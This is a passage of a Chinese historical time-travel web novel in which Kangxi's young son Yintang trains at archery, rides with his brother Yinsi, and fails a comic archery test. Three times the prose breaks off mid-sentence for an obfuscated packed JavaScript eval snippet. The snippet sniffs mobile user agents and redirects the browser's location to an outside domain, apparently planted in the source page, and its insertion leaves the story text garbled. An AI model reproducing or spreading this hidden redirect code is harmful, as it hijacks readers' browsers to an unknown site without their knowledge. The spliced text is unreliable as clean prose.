胤俄忍不住凑得更近了,终于看清楚,里头有好些蚂蚁。原来那些会动的碎屑,是蚂蚁正在搬运的食物。 “原来这就是观察箱!”胤俄拍手笑道:“九哥真厉害,能想出这么妙的法子看蚂蚁!” 胤禟笑笑,没说话。这不过是个开始。待蚂蚁彻底熟悉观察箱的环境,还会挖掘穴·道、产卵化蛹,甚至还可以捉另一群蚂蚁来,让原住民和外来者打架呢。 过了会,胤禟还特地去院里树下扒拉了一番,挑出只大拇指盖大小的虫子尸体,丢进观察箱里,没一会儿就被蚂蚁咬得支离破碎。 “哇,蚂蚁真厉害!”胤俄拍手笑道。没想到小小的蚂蚁,居然可以把比自己大那么多的虫子给吃掉。九哥也很厉害,这么奇妙的主意也不知道怎么想出来的。 两小只就在石桌上一直趴着看蚂蚁,直到要用膳了,钮钴禄氏着人来唤胤俄回去,小胖团子才恋恋不舍地回了永寿宫。 胤禟又看了一会儿蚂蚁,忽然想起什么,叫莲珠拿来纸笔,再找个识字太监来。 他坐在桌前的石凳上,两条小腿晃阿晃。等识字太监来了,胤禟指了指对面的石凳,示意识字太监坐下,奶声奶气、一本正经地说:“我说,你写。” 大家都不明白九阿哥这是闹哪出,识字太监负责带着胤禟启蒙,明白这位小主子点子最多,没准又想出什么新鲜吃食的食谱了,便淡定磨好墨润好笔,看向胤禟:“九阿哥,可以开始了。” 胤禟清了清嗓门:“四哥,速来,有惊喜。胤禟。” 识字太监刷刷几笔写完,抬头问:“九阿哥,然后呢。” “然后?没了。” 就这?罢了罢了,按宜妃娘娘的话说,咱们宫里这位九阿哥,只要不把翊坤宫的琉璃瓦给揭了,那都不算个事儿。识字太监摇摇头,将纸呈给了胤禟。 胤禟看了看,点点头。字算不上好看,但还挺端正。他取了毛笔,在纸的下方歪歪扭扭地画了一个戴着瓜皮帽小孩儿的卡通头像,将纸在空中抖了几抖,让墨干透,这才仔细地把纸叠好。 其实说是仔细,但他毕竟是个三岁孩子,手指精细动作能力不强,在莲珠和识字太监看来,就是胡乱叠了几下。 “去,取个封套,把这纸装好了,送给四阿哥。” 做完这些,也到了和阿舒默尔根约定的时间,该去练箭了。 胤禟在时隔多年后,再一次感受到了上学如上坟的心情。 住进了阿哥所的皇子们,都在射殿前的空地处练习骑射,小皇子们则就近另寻了一处宽敞的地方练习。一则是年纪小,与大皇子们练习的内容很不相同,方便区别教学训练;二则是出于保护小皇子安全的角度考虑,毕竟大皇子们训练的可是能伤人都得真家伙,刀剑无眼,有些意外还是得防着。 路是不可能走路的,胤禟被宝福一路抱着过来,算着快到了,才从宝福身上顺溜下来。 胤禟捶了捶自己的小短腿,嘶,又酸又痛。 宝福看着小主子一瘸一拐走路的身影,几乎要落下泪来:小主子打生下来,就是宜主子捧在手心里长大的,哪里遭过这种罪!这个阿舒默尔根谙达,未免也太狠心了! 阿舒默尔根已经到了,随意地坐在旁边一块大石头上。 见胤禟来了,他起身迎上来,走近了,才发现发现小家伙走路,一脚深一脚浅的,颇像只摇摇摆摆的小鸭子,他不禁关心问道:“受伤了?” 这些下人们,伺候得也太不上心了。 胤禟瘪着小嘴,小脸皱成一团:“腿酸,腿痛。” 又把小胳膊伸到阿舒默尔根面前:“手手,酸酸。” 见阿舒默尔根还没有表示,干脆一屁股坐在地上,两条小腿一蹬,蹬了一裤子的土:“不练了,痛痛,酸酸,呜呜。” 阿舒默尔根:……罪魁祸首竟是我自己。 阿舒默尔根低头看着胤禟,小家伙的眼睛湿漉漉的,白白嫩嫩的小脸蛋好像晒黑了一点点。 唉,看来确实是自己的疏忽,小家伙白白嫩嫩,哪里有皇帝小时候皮糙肉厚的,这样的训练,对小团子确实严格了些。 铁血谙达的脸上浮现出难得地懊恼神色。阿舒默尔根看着小团子泪眼汪汪地模样,犹犹豫豫地开口:“要不,今天咱们先练上一个时辰……?” 啊?这是可以商量的吗?胤禟瞪大眼睛。 阿舒默尔根见胤禟不说话,以为他觉得还是太久了,咳嗽一声,道:“半个时辰,不能再少了。” “哦。”突如其来的幸福让胤禟有点发懵,乖乖点头的模样落在阿舒默尔根眼里,只觉得自己的小徒弟又听话又乖巧又能吃苦,简直是天下第一好。 课程时长骤然压缩了三分之二,胤禟觉得自己又可以了。他想要站起来,努力了一下,腿一用劲就酸得厉害,只得坐在地上,瘪着小嘴巴,朝阿舒默尔根张开小胳膊:“谙达,起不来,抱抱。” 阿舒默尔根左右看看,嗯,一个人都没来。 咳,既然如此…… 阿舒默尔根蹲下身子,两手穿过小团子胳膊,一下就把他抱了起来。软软弹弹奶乎乎的,让人抱了就不舍得放下。 真想让那些嘲笑他没有孙子孙女抱的老东西们瞧瞧,他阿舒默尔根还会没孩子抱?这么可爱的娃娃,就他们家那些长得歪瓜裂枣的,还好意思拿到台面上来说! 胤禩来的时候,就看见素来以严厉闻名的阿舒默尔根谙达,怀里正抱着一个小粉团子,在他们面前不苟言笑的一张脸,此刻挂满了慈祥的笑容。 胤禩伸出小手揉了揉眼睛,难道是自己昨晚学习到太晚,现在眼花了? 胤禟的小手手环抱住了阿舒默尔根的脖子,小脸由阴转晴,语气十分开心:“阿舒默尔根谙达好高呀,我也看得好高呀!” 阿舒默尔根只有在孩子的时候,才被人称赞过个子高。虽然这是优势,但并不会作为成年人之间的赞美对象。如今被小粉团子夸奖,他只觉得心里像喝了蜜一样甜,嘴巴笑得快咧到耳后根。 看着阿舒默尔根脸上笑容越发灿烂的胤禩: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405626|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定是我的幻觉。 跟在胤禩后头的谙达也好不到哪儿去,惊讶得手里的弓一个没拿稳,掉了。 胤禟耳朵灵,听见动静,往胤禩这边看过来。 他与胤禩之前见过几面,大多是胤祺和胤禛来时,带着他一同过来。只是自打胤禛去阿哥所之后,胤禩便没来过翊坤宫,两人只有在大宴上才能打个照面。 无论是在正史记载,还是野史衍生里,胤禟和胤俄都是胤禩的忠实追随者。胤禟曾经特地分析过,如果历史上的胤禟果然如记载一般天生聪慧,那他应当早就看出,胤禩在康熙后期,不过是一辆已经被冰山戳破底仓、随时可能沉没的船。那为什么他还是毅然决然地支持胤禩,以至于在雍正继位后,仍然以蚍蜉撼树和近乎自毁的姿态,表达对雍正的不满和对胤禩未能上位的遗憾? 带着这份好奇,他曾经试图以一个婴儿的姿态来试探胤禩,但除了聪明、温柔之外,胤禩似乎也并没有什么特别的人格魅力。 嗐,毕竟胤禩这时候也才五岁,连上书房都没进,这些疑惑就留待以后慢慢发现吧。 “八哥!”胤禩看见小粉团子朝自己露出一个大大的笑容,一边卖力挥舞着小手。 竟然真的是九弟来了!被胤禟快乐的模样感染,胤禩平日里柔静的眉眼也带上了明显的雀跃神色。他三步并作两步,快步上前,也大声回应道:“九弟!” 看见胤禟来,胤禩是很高兴的。以往在这里训练的阿哥只有他和七哥两个人,七哥又是个闷罐子,和他说三句话,能回一句就不错了。如今九弟也来了,以后终于有个伴儿可以说说话。 他与胤禟已经很久没见,便不禁多打量了几眼。小粉团子还是和以前一样白嫩可爱,脸颊看起来肉嘟嘟软乎乎的,让人忍不住想要捏两把。 这么想着,他就真的伸出手去。 阿舒默尔根在听见胤禟唤胤禩时,便赶紧将胤禟放了下来,低头假装整理衣服,实际上老脸已经有点微红,心里一只野兔在狂奔:啊啊啊啊被八阿哥看见了!还有那个小谙达!!我努力维护的严厉形象啊啊啊啊!!! 当然,因为他掩饰得十分自然,也因为两位小阿哥久别重逢,还顾不上他,并没有人注意到他的红温。 胤禟蹦蹦跳跳地跑向胤禩,一把抱住他,然后抬起脸看人。 结果,两边脸颊就被捏住了。 “唔……八哥!”小粉团子发出抗议。没想到胤禩都五岁了,还和以前两三岁时候一样爱捏他脸。八哥平日里温和有礼,在这件事情上却倒是顽皮。 胤禩嘿嘿笑了笑,又捏了两下,才放手。 几人见了礼,便开始正式训练。 胤禩已经习了两年小弓,如今要为以后学习骑射作准备,训练马术功底。谙达从旁边牵来一匹小马,胤禩一踩马蹬,翻身上马。 “哇,八哥好厉害,都能骑马了!”胤禟很捧场地啪啪拍手。 胤禩看着胤禟扬起小脸、认真表扬自己的模样,只觉得十分可爱,忍不住从马上弯下腰,朝他伸出手,微笑道:“九弟,要不要也上来?我带你。” 12. 第 12 章 胤禩向来学东西是上书房里最快的,骑马射箭也不例外。只月余功夫,就能够游刃有余地驾着小马慢跑。 “真的?”小粉团子脸上露出惊喜的神色。 阿舒默尔根刚准备开口拒绝,一双小胳膊就抱住了自己的大腿,还一边晃来晃去:“谙达,我还没骑过马,这马这么矮,肯定一点儿也不危险,就让我骑一下,好不好嘛。” 在阿舒默尔根无奈的表情中,胤禟被他亲手抱上了马,又找了匹马,自己骑在后头跟着。 胤禩执好缰绳,将胤禟小身子用胳膊环抱住,这才“驾”了一声,驱马朝前走去。 考虑到这是胤禟第一回骑马,他开始只让马慢慢地走着。等九弟熟悉了一会儿,不觉得害怕,这才一抖缰绳,让马小步慢跑起来。 胤禟在现代还没骑过马,此时觉得又新鲜又好奇,摸摸马鬃毛,拍拍马脖子,惊叹道:“八哥好厉害呀!这马好听八哥的话!” 胤禩看着胤禟开心的模样,心中十分自豪。以往都是哥哥们带着自己玩,他们都那么厉害,会骑马射箭,会读书识字,他总是跟随、学习的那一个。如今,他也能带着九弟玩了,九弟做不到的事情,他可以帮九弟实现,这种被人需要的感觉,让小小的他觉得一直空落落的心里,被填得满满地。 果然,还是要变得更加强大。胤禩暗想。 一路上,胤禟还问了胤禩很多关于马的问题,两人有说有笑地,不觉已经离射殿前大皇子们练习骑射的靶场近了。 “九弟,我们去看看他们训练吧。”胤禩见胤禟小脸上表露无遗地好奇,提议道:“今日汗阿玛要来考校骑射,大家训练的时候肯定很精彩。” “好呀。”胤禟上回来选谙达,并没有太仔细观察几位阿哥们是如何训练的,他本就好奇想去看看,听胤禩这么一说,更加有了兴趣。 到了射殿前的靶场,见众阿哥们并不在一块儿训练,而是每人划分了一块靶场,正在各自练习。胤禛、胤祺在谙达指导下练习定点射箭。胤祉今日也在场,与胤褆、胤礽骑马穿梭在场间,不时张弓射出几箭,看来是在练习骑射。 除了胤祐,大些的阿哥们都在这里了。 胤禟悄悄问胤禩:“八哥,怎么没见到七哥呀?” 胤禩小声解释,胤祐每隔两日便要康健一次腿疾,今日便是治疗去了。 胤禟“哦”了一声。说起来,胤祐他只见过一两面,如今都不大记得模样了,只记得因为有腿疾,所以直接排除了权力斗争的可能,反而在雍正继位后得以保全。 胤禩和胤禟下马看了一会儿,胤禟发现每位阿哥的场地上,都有一个大大的箭筒,目测至少有两百支箭,眼下箭筒已经空了一大半。 胤禟回忆了一下自己第一次上课。当时阿舒默尔根教了基础的射箭动作后,便让自己原地练习张弓射箭三十次。 就这三十支箭,他练习了一个时辰。 虽然他身量小,但用的也是适合他这个年纪的小弓小箭。就算大皇子们熟能生巧,张弓搭箭瞄准的时间比他要短,但粗略一算,至少也已经练习了一个时辰。这些箭全部射完,即便中间不休息,差不多也得两个时辰。 胤禛、胤祺两个小阿哥如此,胤褆、胤礽、胤祉这些以练习骑射为主的大阿哥们,训练时间只会更久。 狠,实在太狠了。 卷,实在太卷了。 胤禟想起前世自己不分白天黑夜写论文的日子,卷王这种经历有过一次就好,这辈子他是来当咸鱼的,不能任由内卷这阵风刮到自己这里。 然而,在一旁的胤禩发自内心地感叹道:“真想快些长大,也能和大哥、太子哥哥一样,经过艰苦的训练成为厉害的人啊。” 胤禟:…… 阿舒默尔根也捻着胡子点头道:“所谓梅花香自苦寒来……” 话说一半,看见小粉团子投来控诉的眼光,阿舒默尔根立即改口道:“咳,不过有些花天然就香,不用苦寒,哈哈,不用苦寒。” 几人正围观,忽然前方传来一阵动静,康熙来了。 康熙是来考校大皇子们的,胤禩和胤禟赶紧上马,正准备回头,只见一个太监气喘吁吁地跑到他俩跟前,上气不接下气地说:“八阿哥、九阿哥,皇上请你们过去。” 啊?两位被抓了包的小阿哥,像两只被母猫叼住脖子的小猫,乖乖跟在太监身后朝殿前走去。 片刻之后。 七位阿哥一字排开,胤禩和胤禟站在队列的最末尾。 “八哥,怎么我们也要站在队列里?”胤禟低声问:“难道我们也要参加考校?” 胤禩小声回答:“应该是。不过且放心,你才开始练习,汗阿玛不会为难你的。” 康熙看见两个小家伙窃窃私语,眼神一扫,胤禩、胤禟齐齐乖乖闭嘴站好。 难得看见胤禟这么老实的模样,康熙忍不住在心里低笑一声。听阿舒默尔根说,第一天训练就让他练习了一个半时辰,小东西这会子该连胳膊都举不起来了?也罢,今日就放他一马。 今日康熙考校的内容是定点射箭。 虽然大皇子们早已开始练习骑射,但定点射箭,最是考验基本功,是必须扎扎实实练好的。上回康熙给胤褆、胤礽、胤祉三位大皇子定了个目标,让他们练习多箭穿心连射。也就是不仅要射中靶心,后一支箭必须破开前一支箭,再次射入靶心。不仅考验射箭的准头,也考验张弓的力量。 箭靶的距离还是老规矩,胤褆、胤礽、胤祉三位十岁以上的皇子,按照成人三分之二的距离放置箭靶。胤禛、胤祺、胤禩三位小皇子,则按照成人二分之一的距离放置箭靶。 至于胤禟…… 康熙瞅了一眼小团子的小短胳膊小短腿,命人在前方三尺处放了一个大一号的箭靶。 也就是但凡站在点位上弯弯腰,就能把箭插进靶子的距离。 嗯,伤害性不大,侮辱性极强。 “噗嗤”胤褆忍不住笑出了声。 紧接着他便接到了胤禛、胤祺、胤禩投来嫌弃的目光,以及阿舒默尔根一记警告的眼神。 胤褆默默闭上了嘴巴。 比试顺序按照阿哥们年纪从大到小,依次开始。 第一个上场的是胤褆。 骑射向来是他的长处,更何况这些日子他每天都刻苦训练,十箭连心穿射早就拿下。他挑眉瞥了一眼胤礽,嘴角挑出一抹志在必得的笑容,握着长弓大步流星走上前去。 胤禟在心里感叹,胤褆走路的样子,已经有了几分未来直郡王上阵杀敌的威武英姿。虽然康熙的众多儿子们都曾上过战场,但大部分还是在中军帐内待得多,真正和将士们一道冲锋陷阵的少。胤褆十九岁就上了战场,在康熙亲征噶尔丹中更是战功赫赫。这些,可都是靠真刀真枪搏命赢来的。 胤禟不禁觉得有些遗憾。如果不是因为立储之争,胤褆未来必定是大清一把锋利的剑。 他看向胤褆,只见他手起箭射,连续十箭,一箭紧跟着一箭射出,几乎没有多余停顿的时间,整套动作干脆利落,十箭箭无虚发,全部依次破开前箭没入靶心。是完美的十箭穿心连射。 “好!”场上爆发出一阵热烈的叫好声,就连康熙看了,也流露出赞许地神色,朝他肯定地点了点头。 胤褆对上康熙的目光,接收到他的表扬,整个脸因为兴奋而微微发红。他收弓回列,转身时肩膀故意撞了一下胤礽,用只有几个皇子们能听见的声音,轻蔑地“哼”了一声。 胤礽置若罔闻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405627|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也接过自己的弓,在定位点上站好,拉弓张弦,亦是十箭,箭箭均中靶心,其中三箭穿心连射。 他才十三岁,这个成绩比绝大多数同龄人强太多,但是比起胤褆的十箭穿心,还是逊色多了。康熙最初给他们定的目标是四箭,如今差了一箭,便是没有达标。 胤礽握紧了弓把,抿唇看向汗阿玛。 虽然他的汗阿玛并没有批评他,但眼神中还是流露出失望的神色。胤礽知道,汗阿玛没有当众批评他,是在其他阿哥面前给他留足了面子。但他眼神中的失望,却是他再熟悉不过,也最害怕不过的。 “不用功,如何当好太子?你若是不想好好当这个太子,那朕也不必这般疼爱你。你真是,教朕太失望了。”六岁那年,他不过提了句觉得读书辛苦,汗阿玛便难得地发了好大一通火。当时汗阿玛看他的眼神,就是这般失望。那日,汗阿玛冷冷抛下这几句话,连着三日都没来看他。 他当时真的以为汗阿玛不要他了。 而偌大一个紫禁城,他除了汗阿玛,也没有其他亲人了。 他还记得自己缩在书房的椅子上,整个人仿佛在无边无际的冰海里漂浮着,四周望去,除了灰暗欲倾的天际,就是深沉冰冷的海水。 那种绝望无助的情绪,胤礽直到现在都记得清清楚楚。 而他年岁渐长,要学的东西多了,汗阿玛的要求也越来越高。每当他没有达到他的希望,汗阿玛便会露出与他六岁那日一模一样的失望神情。 胤礽觉得有一千根针在扎自己的心。 他紧紧抿着嘴唇,苍白着脸归了列。 之后是胤祉,也有四、五箭穿心连射。 胤礽本就白皙的面庞更加苍白,朱红的薄唇紧抿成了一条线。 胤禟不禁想,看来当太子压力也很大啊。Peerpresure(同侪压力)果然在哪里都有。 胤禛、胤祺、胤禩也依次上前完成射箭。 胤禛射中了八箭,但有一箭脱了靶。胤禛回来时,胤褆吹了声口哨。原本面色平静的胤禛,忽然脸色一沉,耷拉着脑袋缩进了队列。 胤祺拍了拍胤禛的肩膀,才出列射箭。他在小阿哥中箭术最好,每发每中。 胤禩虽然年纪最小,但也不遑多让,十箭有九箭中了靶心。 胤禛虽然真心为五弟和八弟感到高兴,但对于自己成绩不佳,不能说是不沮丧的。他虽然知道自己从小四肢协调性就不强,但是面对这种“公开处刑”,每一次都还是会感到低落。 胤禟将这些收入眼底,握着小弓的手渐渐收紧。 方才他已经听胤禩说,这种比试几乎每隔一段时间就会进行,作为检验他们这段时期训练的成果。既然是比试,那自然就有个高低之分,也是康熙意在激励皇子们奋发训练。对表现突出的皇子,不时还会给予奖赏。 但胤禟知道,运动天赋这种事情,本来就是天生的。虽然天赋不高的孩子能够通过后天锻炼提升,那也仅仅是和自己比较,毕竟在同样强度的训练下,那些更拥有运动天赋的人往往进步得更快。 对秉持“因材施教”理念的胤禟看来,这种比试作用不大,倒是在打击落后孩子自信心、激发优势孩子的过度竞争意识、破坏孩子间团队合作精神的培养上有害无利。 不然,为什么会有胤褆这种跋扈的做派、胤禛总是低垂的脑袋、胤礽始终紧抿的薄唇? 胤禟现在越来越笃定,太子二废、九龙夺嫡,和卷王康熙的内卷式教育理念有很大关系。 毕竟,皇位仅一个,养蛊需谨慎。 当然,留给他分析的时间不多,下一个上场的就是他了。 胤禩归列的瞬间,场间一双双眼睛,全都看向了这个还不到大人腿高的小粉团子。 13. 第 13 章 胤祉是第一回见胤禟。 他很小就被送出了宫,前两年才回来。没在额娘身边待上几天,就搬进了阿哥所。他并不喜欢小孩儿,只觉得那些一天到晚只知道哭闹的小人儿聒噪至极,因此对下头几个年幼的弟弟并不曾关注过,更没有在大宴上费心留意过那几个小阿哥。 胤禟今日仍然穿了那件他最喜欢的湖蓝色小袍子,背着的黑桦木小弓在阳光下闪闪发亮,整个人像一只雄赳赳气昂昂地小豹子。挺胸出列的时候,那股劲儿连康熙看了都忍不住要叫好。 胤祉看着小人儿走到定位点,算不上熟练地摘下小弓,拉好箭,摆好姿势瞄准,还真像那么一回事。 如果不是他面前那个比他还要高一些的靶子有些出戏。 无聊。胤祉心道。 既然要考校箭术,那便该如何便如何。拿这么大一个靶子放在面前,是生怕九弟没射中会哭鼻子? 看来这九弟也不过是深宫中被宠坏的一个小皇子罢了,没什么稀奇的,胤祉心道。 胤禟盯着前面的靶子,一边嘴角微微弯了弯。 比试么,总得有最后一名来承受压力。只要有了比自己还差的,就算表现不及预期,心情也不会那么沉重了。 胤禟沉肩转臂,小弓已经拉满,两指一松,小箭“嗖”地射了出去。 全场的目光都聚焦到了那支箭上。 按道理,靶子这么近,九阿哥张弓射箭的姿势也挺标准,射中靶心也是很有可能的。康熙表扬的话甚至都到了嘴边。 然而,那支箭平飞出去一小段距离后,忽然像断了线的风筝般,“噌”地一头插·进了靶子前面的地里。 众人:…… 胤褆用力掐了一把自己,才没有在康熙面前放声大笑起来。射得这么差,一会儿肯定要哭鼻子,他可等着看好戏呢。 胤礽和胤祉都是一副一言难尽地表情。 胤禛向胤禟投去宽慰的目光。虽然九弟这箭学得差得离谱,但进步空间可以说很是巨大了。 胤祺瞪大眼睛,表情十分钦佩。抬手就能碰见靶面的靶子,换做是谁都很难发挥失常。但是九弟做到了。真不愧是九弟! 康熙瞥了一眼阿舒默尔根,心里忍不住地幸灾乐祸。瞧,这老小子晚节不保了吧,收了个徒弟,第一次考校就出了这么大个洋相。又忍不住心疼小团子一秒钟,可一会儿别被老小子训哭了。 胤禟挠挠头,龇牙一笑,收弓归列,似乎从来没把这事儿放在心上。 胤礽心道,看来自己之前看得没错,这小团子果然是个小呆子,没射中,还高高兴兴地。 “阿舒默尔根谙达,今日就请你点评诸位阿哥吧。”康熙心情复杂道。原本该是他亲自点评,再敲打敲打太子和老四,眼下被小九这么一闹,倒是觉得不知一会儿该如何点评这小东西,才能不失自己威严,又不惹他掉金豆豆。 思来想去,干脆把烫手山芋扔给老小子。自己的徒弟,自己头疼去。 阿舒默尔根应了,一一点评了一番,意见中肯,指出了每人需要注意和改进的地方,几位大小阿哥们也是频频点头。 最后走到胤禟面前,阿舒默尔根看了一眼满眼期待的小团子,笑眯眯道:“九阿哥姿势标准、力道十足,张弓饱满如满月,撒指果断如流星,是一个练箭的好苗子。” 哎,毕竟只是个三岁的小娃娃,还是要多鼓励为主。更何况,刚才那架势多能唬人,不是,多有气势,只不过是练习太少。皇帝也真是的,才上了一次课,就要考校九阿哥,也太不近人情了。阿舒默尔根心道。 胤禟开心地点点头,小脑袋骄傲地扬着。 康熙捏紧了拳头:老小子你知道自己在说什么吗?!朕小时候射偏了你可不是这么说的喂! 胤祺:不愧是我九弟啊!居然得到了很少夸人的阿舒默尔根谙达的认可! 胤褆、胤礽、胤祉:……您这护犊子未免也过于明显了。 胤禛也觉得阿舒默尔根谙达说的很有道理,九弟加以练习,肯定是个射箭的好手。 胤禩悄悄和胤禟咬耳朵:“九弟,你好厉害,阿舒默尔根谙达都夸奖你了!” 胤禟谦虚道:“是谙达鼓励我呢。” 听着俩兄弟对话的康熙:…… 想到自己小时候区别对待遭遇的康熙,心情不佳地草草退场。胤褆神气地看了一眼胤礽,歪了歪嘴角,趾高气扬地走了。胤祉从刚才康熙离开,就开始慢条斯理地收拾东西,也离开了。 场上的大阿哥们就只剩下了胤礽一位。 胤祺看天色还早,又见今日胤禛、胤禩、胤禟都在,便提议去御花园玩耍。难得今天汗阿玛走得这么早,这么早回慈宁宫也左右无事,不如正好去池塘钓鱼钓虾。 然而胤禩摇了摇头,拒绝他的语气很果断,没有丝毫对钓鱼虾的向往:“五哥,我今日还没训练,这会得去练习了。” 胤禛犹豫了一下。他还是挺想去池塘钓鱼虾的,但是今日几个小阿哥里他成绩最差,如果还和胤祺一起玩耍,回头被汗阿玛知道了,又得挨批评。他思来想去,只能遗憾地摇摇头:“五弟,我也得练习去了。” 胤祺看向胤禟,就像落水的人看向岸上的稻草。 胤禟也很久没和胤祺一块儿钓鱼虾了,而且他刚刚目睹五哥接连被四哥、八弟拒绝,实在有些同情他,然而…… 他侧头看向阿舒默尔根。 刚才阿舒默尔根为了给他站台,老脸都豁出去不要了。虽然他是条咸鱼,但是也得做条知恩图报的咸鱼。 “五哥,今天还是算了,改日我找你玩哈,”胤禟伸出小手,主动牵住阿舒默尔根的大手:“谙达,我们去训练吧!” 阿舒默尔根原本打算着,若是小粉团子实在想玩,要不就让他去罢?没想到胤禟居然拒绝了胤祺的邀请,主动要求去训练。 他转念一想,便明白了,这一定是九阿哥觉得自己今日表现不佳,给他的阿舒默尔根谙达丢了脸面,想要努力练习,争取下次表现突出,替他找补回来。 多好的孩子啊!阿舒默尔根觉得眼眶酸酸的。 胤禩和胤禟回到自己的小射场,练习了一会儿训练。 然后胤禟就发现,胤禩也颇有卷王资质。 他本想练习一会儿,等着和胤禩一同下课,没料到太阳西斜,鸦雀归巢,胤禩还是一点儿回去的表示都没有。 胤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405628|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 禟悄悄问胤禩的谙达:“八阿哥一般要练到什么时辰回去?” 谙达看了看天色:“大概到掌灯时分。” 那就是要到日落之后了。 卷,实在太卷了。 胤禟有些后悔,自己应该早些问这人,要知道胤禩也是个卷王,干脆早点走不等他了。他今天边等边练习,居然比预计的半个时辰还多练习了一刻,实在划不来。 走走走走走。下课不积极,思想有问题,胤禟心里挂念自己的蚂蚁观察箱,和阿舒默尔根打了招呼,和宝福往翊坤宫走。 走到一半,胤禟想起什么,一摸肩上,喊了声:“糟糕。” 宝福抱着他停下来,问:“小主子,可是有什么事?” 胤禟道:“我忘记把小弓带回来了。” 宝福宽慰道:“小主子且宽心,那边自有下人们帮您收起来,过两日再来时直接给您便是。” 胤禟摇摇头:“不行,若是这两日胤俄来了,肯定要我露一手,倒时候发现我把他送的东西放在外头,肯定要难过。还是回去取下罢。” 两人便又转了回去。 这样一折腾,太阳已经完全落了下去,一路都可见宫人点灯,将两旁的树木映照得影影绰绰。 紫禁城一更便要宵禁,两人不禁加快了步伐。 到了练习场,遇见了正准备回去的胤禩。胤禩见胤禟回来,有些奇怪,听胤禟解释了原因,便笑道:“那九弟也快些回去,翊坤宫离得远,一会儿便宵禁了。” 胤禟将小弓背在身上:“八哥,我回去了。”转身要走,忽然又被胤禩叫住。 只见胤禩唤来一个随行太监,接过他手里提着的灯笼,递给胤禟,笑盈盈道:“夜路不好走,九弟且拿这盏灯笼去。我这边还有两盏,也够了。” 烛光透过绢纱灯罩,将胤禩笼了一身暖色。他白皙清秀的小脸染了许多温柔,眉目像倒映在春日水波里的远山。 他的母亲良妃是这宫里有名的温婉美人,儿子则完美继承了她的基因。眼前这副稚嫩的脸庞,渐渐与历史上那个长袖善舞的“八贤王”重合,让胤禟一时出了神。 “九弟?”胤禩的声音将他拉回现实。 胤禟连忙接过胤禩手中的灯笼,转手交给宝福,又朝着胤禩甜甜笑道:“谢谢九哥!” 胤禩点点头。他性子柔顺,感情内敛,面上不觉得,其实心里是很喜欢这个九弟的。小团子粉嘟嘟的,天生就招人喜欢,四哥、五哥都喜欢提起他。有时候他甚至会羡慕五哥,有九弟这么个弟弟。 不过现在好了,九弟和他一同学箭,往后便能经常见着九弟了。 胤禟回去的时候,路过射殿,见那里已经高高低低点起了一片灯火,映得夜晚如同白昼。里面仍有许多身影往来穿梭,似是还有阿哥在练习。 不是吧,四哥也这么卷?一想到雍正也是历史上出了名的卷王,胤禟突然又觉得这很合理。 他往射殿走了几步,凑近了去看,却没有在属于胤禛的小靶场上看见他。反而在另一侧,就在大阿哥们的靶场上,一道杏黄色身影正驰马穿梭草靶之间,马蹄扬起的滚滚尘土把落鸦惊起一片。 却不是太子是谁? 14. 第 14 章 胤禟嘱咐了句宝福,宝福便从前头请了个小太监过来。 “太子哥哥怎么还不回去?”胤禟奶声奶气地问。 小太监年纪不大,但是口齿伶俐,恭敬回道:“太子殿下还在练习。” 胤禟奇道:“太子哥哥每日都要练到这么晚?” 小太监垂下头,声音也压低了几分道:“若是万岁爷白日考校了阿哥们骑射,太子晚上便要在这里练习,直到宵禁才回去。” 太子是什么人,打小生下来就被万岁爷捧在掌心。东海里的珍珠、天山上的雪狐,从小到大想要什么,都是予取予求。 可射箭、读书这些,行就是行,不行就是不行,不是你想要动动指头,就能让别人送到跟前的,需得自己去学、去练,到最后能不能胜过别人一筹,全凭本事实力还有天赋。 所以就算是贵为太子,也有求而不得、无可奈何之事。 胤禟让小太监回去,自己站在射殿边上,静静看了一会儿。 他一个外行也能看出来,胤礽策马的时候太没有耐心,张弓射箭时又过于急躁。与其说他在这里练习射箭,更像是发泄心中某些情绪。 忽然,胤礽射箭的时候好像出了什么意外,一群太监、谙达围了上去,热闹了好一阵,人群才散开,胤礽又接着练习,只不过这回下了马,改为定点射箭。 方才那个小太监却急急跑了过来,见到胤禟,双膝一跪道:“九阿哥,太子殿下方才伤了手,眼下却不肯休息,请您劝劝太子殿下,爱惜身体啊。” 根据这几日有限的近距离接触,胤禟觉得自己脸在胤礽那还不够大。更何况,胤礽既然对他不够友好,他也不必上赶着去讨好这位未来的废太子。 小太监见胤禟站在原地没动静,当即急了,“咚咚”磕了两个响头:“回头万岁爷要是知道,太子伤了手还继续练箭,我们在场的奴才都得受伺候不力的重罚。九阿哥心善,恳请九阿哥劝劝太子殿下吧,就当是为了奴才们的脑袋。” 